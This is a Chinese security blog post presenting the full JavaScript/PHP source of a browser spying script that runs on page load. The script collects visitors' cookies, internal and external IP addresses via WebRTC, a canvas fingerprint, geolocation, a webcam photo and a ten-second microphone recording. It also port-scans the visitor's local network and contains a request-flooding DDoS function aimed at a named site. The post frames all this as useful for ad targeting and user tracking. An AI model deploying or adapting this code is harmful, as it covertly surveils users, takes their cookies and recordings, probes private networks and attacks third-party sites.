MENU

js实现浏览器用户信息收集

February 27, 2017 • Security

前言

这是一个通过html5,javascript用于收集用户通过上网泄漏的各种信息,包括地理位置,IP地址,照片,语音,浏览器版本等信息。结合大数据,可实现广告定向投放,用户追踪,用户行为分析,用户群体调研等一系列更人性化的服务。

json保存个体的信息数据

0.png

内网外网IP地址

10.png

内网扫描

11.png

地理位置信息

这个需要权限,用户允许才行!

1.png

Canvas指纹

从根本上来说,每一种浏览器都会使用不同的图像处理引擎,不同的导出选项,不同的压缩等级,所以每一台电脑绘制出的图形都会有些许不同,这些图案可以被用来给用户设备分配特定编号(指纹),也就是说可以用来识别不同用户。

2.png

获取用户头像

这个结合人脸识别还可以判断性别,年龄等敏感信息。

3.png

精确定位

根据IP地址和经纬度。

4.png

DDos

需跨域

5.png

操作系统,设备型号

当然要详细判断操作系统版本,这个相当粗糙有待完善。

6.png

更新:新加详细的判断

9.png

录音

录音10秒钟,用blob保存为wav格式。

7.png

网络测速

提供两种方式测速:图片测速和音频测速。

8.png

未完待续

更多...

完整代码

/*
<?php

if (isset($_GET['lat'])) {

    // 根据经纬度判断详细位置
    $lat=$_GET['lat'];
    $lon=$_GET['lon'];
    // 百度经纬度查询地址
    // 请求方式:GET
    // 默认返回json
    $url='http://lbs.juhe.cn/api/getaddressbylngb?lngx='.$lon.'&lngy='.$lat;
    $result=file_get_contents($url);
    $json=json_decode($result);
    exit($json->row->result->formatted_address);
}

$IP=$_SERVER[REMOTE_ADDR];
$USER_AGENT=$_SERVER[HTTP_USER_AGENT];

// 根据ip查询位置
$url='http://ip.taobao.com/service/getIpInfo.php?ip='.$IP;
$result=file_get_contents($url);
$json=json_decode($result);

$COUNTRY=$json->data->country;
$REGION=$json->data->region;
$CITY=$json->data->city;

?>
*/

var info={
    ip:null,
    inner_ip:null,
    intranet: [],
    /*
    ip_addr:{
        country:'<?=$COUNTRY?>',
        region:'<?=$REGION?>',
        city:'<?=$CITY?>',
    },
    */
    agent:null,
    geo:{
        support:null,
        error_code:null,
        lat:null,
        lon:null,
        address:null,
    },
    cookie:null,
    time:null,
    canvas_id:null,
    selfie:null,
    platform:null,
    device:null,
    window_screen:null,
    blob:null,
    download_speed:null,
};

info.cookie=document.cookie;
info.time=(new Date()).toString();
info.agent=navigator.userAgent;

function ajax(url,foo){
    var xmlhttp=new XMLHttpRequest();
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200) {
            foo(xmlhttp.responseText);
        };
    };
    xmlhttp.open('GET',url,true);
    xmlhttp.send();
}

function bin2hex(bin){
    var i=0, l=bin.length,chr,hex='';
    for (i; i < l; ++i){
        chr=bin.charCodeAt(i).toString(16);
        hex+=chr.length<2 ? '0'+chr : chr;
    }
    return hex;
}

function detectOS(){
    var sUserAgent=navigator.userAgent;
    var isWin = (navigator.platform == "Win32") || (navigator.platform == "Windows");

    var isMac = (navigator.platform == "Mac68K") || (navigator.platform == "MacPPC") || (navigator.platform == "Macintosh") || (navigator.platform == "MacIntel");
    if (isMac) return "Mac";

    var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
    if (bIsIpad) return "iPad";
    
    var isUnix = (navigator.platform == "X11") && !isWin && !isMac;
    if (isUnix) return "Unix";
    
    var isLinux = (String(navigator.platform).indexOf("Linux") > -1);
    var bIsAndroid = sUserAgent.toLowerCase().match(/android/i) == "android";
    if (isLinux) {
        if(bIsAndroid) return "Android";
        else return "Linux";
    }

    var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
    if (bIsCE) return "WinCE";

    var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
    if (bIsWM) return "WinMobile";

    if (isWin) {
        var isWin2K = sUserAgent.indexOf("Windows NT 5.0") > -1 || sUserAgent.indexOf("Windows 2000") > -1; 
        if (isWin2K) return "Win2000";

        var isWinXP = sUserAgent.indexOf("Windows NT 5.1") > -1 || sUserAgent.indexOf("Windows XP") > -1; 
        if (isWinXP) return "WinXP";

        var isWin2003 = sUserAgent.indexOf("Windows NT 5.2") > -1 || sUserAgent.indexOf("Windows 2003") > -1; 
        if (isWin2003) return "Win2003";

        var isWinVista= sUserAgent.indexOf("Windows NT 6.0") > -1 || sUserAgent.indexOf("Windows Vista") > -1; 
        if (isWinVista) return "WinVista";

        var isWin7 = sUserAgent.indexOf("Windows NT 6.1") > -1 || sUserAgent.indexOf("Windows 7") > -1; 
        if (isWin7) return "Win7";

        var isWin8 = sUserAgent.indexOf("Windows NT 6.2") > -1 || sUserAgent.indexOf("Windows 8") > -1;
        if (isWin8) return "Win8";
    }

    return "Unknow";
}

function send_info(){
    var jsonText=JSON.stringify(info);
    console.log(jsonText);
}

// 获取屏幕分辨率的宽高,并判断操作系统,设备型号
function device_platform(){
    info.platform=detectOS();
    info.window_screen=String(window.screen.width)+'x'+String(window.screen.height);
}

// 拍照
// Need to request permission
function selfie(){
    window.URL = window.URL || window.webkitURL;
    navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;

    // 创建video元素
    var video=document.createElement('video'),
    videoObj={'video':true},
    errBack=function(error){
        console.log('Video capture error: ',error.name);
        info.selfie=error.name;
    };

    // 获取媒体
    if(navigator.getUserMedia){
        navigator.getUserMedia(videoObj,function(stream){
            video.src=window.URL.createObjectURL(stream);
            video.play();

            video.onloadedmetadata = function(e) {
                setTimeout(function(){
                    if(info.selfie==null){
                        // 截取图片
                        var canvas=document.createElement('canvas'),
                        ctx=canvas.getContext('2d');
                        canvas.width=640;
                        canvas.height=480;
                        ctx.drawImage(video,0,0,640,480);
                        var image=canvas.toDataURL('image/png');
                        info.selfie=image;
                        console.log('Take selfie successful!');

                        // 关闭摄像头
                        stream.stop();
                        video.src='';
                    };
                },3000);
            };
        },errBack);
    }
}

// 录音
// Need to request permission
function voice_record(){
    window.URL=window.URL || window.webkitURL;
    navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
    window.AudioContext=window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext;

    var HZRecorder=function(stream,config){
        config=config || {};
        // 采样数8位
        config.sampleBits=config.sampleBits || 8;
        // 采样率(1/6 44100)
        config.sampleRate=config.sampleRate || (44100/6);

        var context=new window.AudioContext();
        var audioInput=context.createMediaStreamSource(stream);
        var recorder=context.createScriptProcessor(4096,1,1);

        var audioData={
            size:0, // 录音文件长度
            buffer:[], // 录音缓存
            inputSampleRate:context.sampleRate, // 输入采样率
            inputSampleBits:16, // 输入采样数位 16
            outputSampleRate:config.sampleRate, // 输出采样率
            oututSampleBits:config.sampleBits, // 输出采样数位 8
            input:function(data){
                this.buffer.push(new Float32Array(data));
                this.size+=data.length;
            },
            //合并压缩
            compress:function(){
                //合并
                var data=new Float32Array(this.size);
                var offset=0;
                for (var i=0; i<this.buffer.length; i++){
                    data.set(this.buffer[i],offset);
                    offset+=this.buffer[i].length;
                }
                //压缩
                var compression=parseInt(this.inputSampleRate / this.outputSampleRate);
                var length=data.length / compression;
                var result=new Float32Array(length);
                var index=0,j=0;
                while (index<length){
                    result[index]=data[j];
                    j+=compression;
                    index++;
                }
                return result;
            },
            encodeWAV:function(){
                var sampleRate=Math.min(this.inputSampleRate, this.outputSampleRate);
                var sampleBits=Math.min(this.inputSampleBits, this.oututSampleBits);
                var bytes=this.compress();
                var dataLength=bytes.length*(sampleBits/8);
                var buffer=new ArrayBuffer(44+dataLength);
                var data=new DataView(buffer);

                // 单声道
                var channelCount=1;
                var offset=0;

                var writeString=function(str){
                    for (var i=0; i<str.length; i++){
                        data.setUint8(offset+i, str.charCodeAt(i));
                    }
                };
                
                // 资源交换文件标识符 
                writeString('RIFF'); offset+=4;
                // 下个地址开始到文件尾总字节数,即文件大小-8 
                data.setUint32(offset, 36+dataLength, true); offset += 4;
                // WAV文件标志
                writeString('WAVE'); offset+=4;
                // 波形格式标志 
                writeString('fmt '); offset+=4;
                // 过滤字节,一般为 0x10 = 16 
                data.setUint32(offset, 16, true); offset+=4;
                // 格式类别 (PCM形式采样数据) 
                data.setUint16(offset, 1, true); offset+=2;
                // 通道数 
                data.setUint16(offset, channelCount, true); offset+=2;
                // 采样率,每秒样本数,表示每个通道的播放速度 
                data.setUint32(offset, sampleRate, true); offset+=4;
                // 波形数据传输率 (每秒平均字节数) 单声道×每秒数据位数×每样本数据位/8 
                data.setUint32(offset, channelCount * sampleRate * (sampleBits / 8), true); offset += 4;
                // 快数据调整数 采样一次占用字节数 单声道×每样本的数据位数/8 
                data.setUint16(offset, channelCount * (sampleBits / 8), true); offset += 2;
                // 每样本数据位数 
                data.setUint16(offset, sampleBits, true); offset+=2;
                // 数据标识符 
                writeString('data'); offset+=4;
                // 采样数据总数,即数据总大小-44 
                data.setUint32(offset, dataLength, true); offset+=4;
                // 写入采样数据 
                if(sampleBits===8){
                    for (var i=0; i<bytes.length; i++,offset++) {
                        var s=Math.max(-1, Math.min(1, bytes[i]));
                        var val=s<0 ? s*0x8000 : s*0x7FFF;
                        val=parseInt(255 / (65535 / (val+32768)));
                        data.setInt8(offset,val,true);
                    }
                }
                else{
                    for (var i=0; i<bytes.length; i++,offset+=2) {
                        var s=Math.max(-1, Math.min(1, bytes[i]));
                        data.setInt16(offset, s<0 ? s*0x8000 : s*0x7FFF, true);
                    }
                }
                return new Blob([data], {type:'audio/wav'});
            }
        };

        // 音频采集
        recorder.onaudioprocess=function(e){
            audioData.input(e.inputBuffer.getChannelData(0));
        }

        // 开始录音
        this.start=function(){
            audioInput.connect(recorder);
            recorder.connect(context.destination);
        }

        // 停止录音
        this.stop=function(){
            stream.stop();
            recorder.disconnect();
        }

        // 获取音频文件
        this.getBlob=function(){
            this.stop();
            return audioData.encodeWAV();
        }
    };

    // 抛出异常
    HZRecorder.throwError=function(message){
        console.log(message);
        throw new function () { this.toString = function () { return message; } }
    }

    // 是否支持录音
    HZRecorder.canRecording=(navigator.getUserMedia != null);

    // 获取录音机
    HZRecorder.get=function (callback,config){
        if (callback){
            if (navigator.getUserMedia){
                navigator.getUserMedia(
                    {audio:true},
                    function (stream){
                        var rec = new HZRecorder(stream, config);
                        callback(rec);
                    },
                    function (error){
                        switch (error.code || error.name) {
                            case 'PERMISSION_DENIED':
                            case 'PermissionDeniedError':
                                HZRecorder.throwError('用户拒绝提供信息');
                                break;
                            case 'NOT_SUPPORTED_ERROR':
                            case 'NotSupportedError':
                                HZRecorder.throwError('浏览器不支持硬件设备');
                                break;
                            case 'MANDATORY_UNSATISFIED_ERROR':
                            case 'MandatoryUnsatisfiedError':
                                HZRecorder.throwError('无法发现指定的硬件设备');
                                break;
                            default:
                                HZRecorder.throwError('无法打开麦克风。异常信息:' + (error.code || error.name));
                                break;
                        }
                    });
            }
            else{
                HZRecorder.throwErr('当前浏览器不支持录音功能。');
                return;
            }
        }
    };

    window.HZRecorder=HZRecorder;

    var recorder;
    HZRecorder.get(function (rec) {
        recorder=rec;
        recorder.start();
    });

    // 录音10s
    setTimeout(function(){
        var blob=recorder.getBlob();
        info.blob=blob;
        console.log('voice record finished.');
    },10000);
}

// DDos攻击
function DDos(site){
    // CSRF
    setInterval(ajax(site,function(){
        console.log('DDos ',site);
    }),50);
}

// 获取IP地址,第一个是内网ip,第二个是外网ip
function getIPs(callback){
    var ip_dups = {};
    var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
    var mediaConstraints = {
        optional: [{RtpDataChannel: true}]
    };
    var servers = undefined;
    var i = 0;
    if(window.webkitRTCPeerConnection) servers = {iceServers: [{urls:"stun:stun.services.mozilla.com"}]};
    var pc = new RTCPeerConnection(servers, mediaConstraints);
    pc.onicecandidate = function(ice){
        if(ice.candidate){
            var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
            var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
            if (ip_dups[ip_addr] === undefined) callback(ip_addr, i++);
            ip_dups[ip_addr] = true;
        }
    };
    pc.createDataChannel("");
    pc.createOffer(function(result){
        pc.setLocalDescription(result, function(){});
    }, function(){});
}

function get_ip_addr(){
    getIPs(function(ip, i){
        if(i == 0) info.inner_ip = ip;
        else if(i == 1) info.ip = ip;
    });
}

// 内网扫描
function intranet_scan(){
    // 常见端口
    var ports = [21,22,23,25,43,80,110,137,138,139,161,170,220,443,3306,8080];
    var body = document.getElementsByTagName("body")[0];

    getIPs(function(ip, id){
        if (id == 0) {
            ip = ip.split(".");
            ip.pop();
            ip = ip.join(".");
            for (var i = 1; i < 255; i++) {
                for (var p of ports) {
                    var script = document.createElement("script");
                    var host = ip + "." + i + ":" + p;
                    script.src = "http://" + host;
                    script.onload = "info.intranet.push('"+host+"')";
                    body.appendChild(script);
                }
            }
        }
    });
}

// 利用canvas定位唯一标识
function canvas_id(){
    var canvas=document.createElement('canvas');
    var ctx=canvas.getContext('2d');
    var txt='http://eular.github.io';
    ctx.textBaseline='top';
    ctx.font="14px 'Arial'";
    ctx.fillStyle='#0ff';
    ctx.fillRect(0,0,140,50);
    ctx.fillStyle='#00f';
    ctx.fillText(txt,2,15);
    ctx.fillStyle='rgba(102,204,0,0.7)';
    ctx.fillText(txt,4,17);

    var b64=canvas.toDataURL().replace('data:image/png;base64,','');
    var bin=atob(b64);
    var crc=bin2hex(bin.slice(-16,-12));
    console.log('Canvas id: '+crc);
    info.canvas_id=crc;
}

// 获取地理位置
function get_geolocation(){

    // check for Geolocation support
    function check_geolocation_support(){
        if (navigator.geolocation){
            console.log('Geolocation is supported!');
            return true;
        }
        else{
            console.log('Geolocation is not supported for this Browser/OS version yet.');
            return false;
        }
    }

    if (check_geolocation_support()) {

        info.geo.support=true;

        var geoOptions={
            maximumAge:5*60*1000,
            timeout:10*1000,
            enableHighAccuracy:true
        }
        var geoSuccess=function(position){
            info.geo.lat=position.coords.latitude;
            info.geo.lon=position.coords.longitude;
            console.log('Success get geolocation!');

            // 根据经纬度判断详细位置
            url='<?=$_SERVER[PHP_SELF]?>?lat='+info.geo.lat+'&lon='+info.geo.lon;
            ajax(url,function(addr){
                info.geo.address=addr;
            });
        };
        var geoError=function(error){
            info.geo.error_code=error.code;
            console.log('Error occurred. Error code:'+error.code);
            //error.code:
            // 0: 未知错误
            // 1: 权限不足
            // 2: 位置错误(位置供应商出错)
            // 3: 超时
        };
        navigator.geolocation.getCurrentPosition(geoSuccess,geoError,geoOptions);
    }
    else{
        info.geo.support=false;
    };

}

// 网络测速
function network_speed(){
    // 图片测速
    var image=new Image();
    // 图片大小: 1232.7kb
    size=1232.7;
    image.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/test.jpg';
    startTime=new Date().getTime();
    
    // 图片加载完毕
    image.onload=function(){
        endTime=new Date().getTime();
        // kb/s
        speed=size/((endTime-startTime)/1000);
        // 保留一位小数
        speed=parseInt(speed*10)/10;
        info.download_speed=speed+'kb/s';
        console.log('Download speed testing finished!');
    }

    /*
    // 音频测速
    var audio=new Audio();
    // 大小: 1.3M
    size=1235.87;
    audio.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/ValderFields.mp3';
    audio.volume=0;
    audio.play();

    startTime=new Date().getTime();

    var timer;
    timer=setInterval(function(){
        if (audio.networkState==1) {
            endTime=new Date().getTime();
            speed=size/((endTime-startTime)/1000);
            speed=parseInt(speed*10)/10;
            info.download_speed=speed+'kb/s';

            console.log('Download speed testing finished!');
            audio.stop();
            clearInterval(timer);
        };
    },100);
    */
}

window.onload=function(){
    device_platform();
    get_ip_addr();
    intranet_scan();
    canvas_id();
    selfie();
    get_geolocation();
    network_speed();
    voice_record();
    //DDos('http://baidu.com');
};
Archives QR Code
QR Code for this page
Tipping QR Code